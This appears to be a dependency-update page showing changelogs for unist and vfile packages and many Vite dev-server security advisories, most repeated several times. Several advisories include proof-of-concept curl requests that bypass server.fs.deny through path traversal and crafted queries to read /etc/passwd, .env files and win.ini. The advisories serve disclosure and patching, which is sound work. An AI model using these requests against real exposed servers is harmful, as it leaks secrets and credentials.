โ๏ธ unist-util-visit (indirect, 4.1.1 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Change
- 4dcff31 Update
@types/unist
migrate: update too- befc0b3 Change to require Node.js 16
migrate: update too- b5f36de Change to use
exportmap
migrate: donโt use private APIs- 89fc050 Change to remove
complex-types.d.ts
migrate: use main export- 12c9ee9 Change to pass
undefined, notnull
migrate: changenulltoundefinedFix
- 3cb2732 Fix performance of
InclusiveDescendanttypeFull Changelog: 4.1.2...5.0.0
4.1.2
Misc
Full Changelog: 4.1.1...4.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 23 commits:
5.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRemove `xo` rulesChange to remove `complex-types.d.ts`Fix performance of `InclusiveDescendant` typeChange to pass `undefined`, not `null`Refactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies4.1.2Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
โ๏ธ unist-util-visit-children (indirect, 2.0.1 โ 3.0.0) ยท Repo
Release Notes
3.0.0
Change
- e3f568b Update
@types/unist
migrate: update too- 8a28747 Change to use
exportmap
migrate: update too- 707e7bc Change to require Node.js 16
migrate: donโt use private APIsFull Changelog: 2.0.2...3.0.0
2.0.2
Misc
Full Changelog: 2.0.1...2.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
3.0.0Update dev-dependenciesFix xoChange to use `export` mapChange to require Node.js 16Refactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies2.0.2Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
โ๏ธ unist-util-visit-parents (indirect, 5.1.1 โ 6.0.1) ยท Repo
Release Notes
6.0.1
Fix
- 48f0dc0 Fix TSC generating broken
.d.tsfilesFull Changelog: 6.0.0...6.0.1
5.1.3
- 529f064 Fix hidden types for
unist-util-visitFull Changelog: 5.1.2...5.1.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
6.0.1Fix TSC generating broken `.d.ts` files6.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsRemove `xo` rulesAdd support for inferring type of parentsChange to remove `complex-types.d.ts`Fix performance of `InclusiveDescendant` typeRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies5.1.3Fix hidden types for `unist-util-visit`5.1.2Fix typoAdd improved docsAdd tests for exposed identifiersUse Node test runnerAdd `ignore-scripts` to `.npmrc`Refactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
โ๏ธ vfile (indirect, 5.3.6 โ 6.0.3) ยท Repo ยท Changelog
Release Notes
6.0.3
Full Changelog: 6.0.2...6.0.3
6.0.2
Performance
- aeae47e Refactor to prevent calling
cwdif not neededMiscellaneous
- f364b8f Refactor to use import maps
Types
Full Changelog: 6.0.1...6.0.2
6.0.1
Types
- f9f3c8f Update
@types/unistFull Changelog: 6.0.0...6.0.1
6.0.0
Change
- 46dd635 Change to require Node.js 16
migrate: update Node- f72469b Change to use export map
migrate: donโt use private APIs- f4edd0d Change to replace
BufferwithUint8Array
migrate: this will mostly work, but might break if you use weird ancient encodings
by @wooorm in #85- af5eada Update
vfile-message
migrate: if you used.positionon messages, switch that to.place
optionally use the nicer options parameter to pass your thingsMisc
- 47eec44 Refactor to match current Node internals
- ab764ab Refactor docs
- bc0332c Change to use
node:prefix- 5d00341 Change to use global
URLin types- 6b8fdb4 4800e34 Refactor types
- c4b6c0d Refactor code-style
- f3c5753 Remove
skipLibCheckfromtsconfig.json- 6a87fde Refactor
package.jsonFull Changelog: 5.3.7...6.0.0
5.3.7
Misc
Full Changelog: 5.3.6...5.3.7
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 47 commits:
6.0.3Refactor code-styleRefactor ActionsUpdate dev-dependenciesRemove unused dependency6.0.2Refactor to prevent calling `cwd` if not neededRefactor code-styleRefactor `.npmrc`Refactor `.editorconfig`Update ActionsAdd declaration mapsRefactor to use import mapsRefactor typesUpdate dev-dependenciesUpdate ActionsUpdate dev-dependenciesUpdate dev-dependenciesUpdate dev-dependencies6.0.1Update `@types/unist`Update `lib` in `tsconfig.json`Refactor to reorder some fields6.0.0Change to require Node.js 16Change to replace `Buffer` with `Uint8Array`Change to use export mapFix typoRefactor to match current Node internalsRefactor docsUpdate `vfile-message`Refactor some JSDocsChange to use `node:` prefixChange to use global `URL` in typesRefactor typesRefactor code-styleRemove `skipLibCheck` from `tsconfig.json`Refactor `package.json`Update dev-dependenciesFix buildAdd sponsor5.3.7Add improved docsAdd tests for exposed identifiersRefactor code-styleRemove unneeded asterisk in `tsconfig.json`Add Node 16 to Actions
โ๏ธ vite (indirect, 3.2.4 โ 6.3.6) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response,ย because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
๐จ Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response,ย because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
๐จ Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response,ย because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
๐จ Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response,ย because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
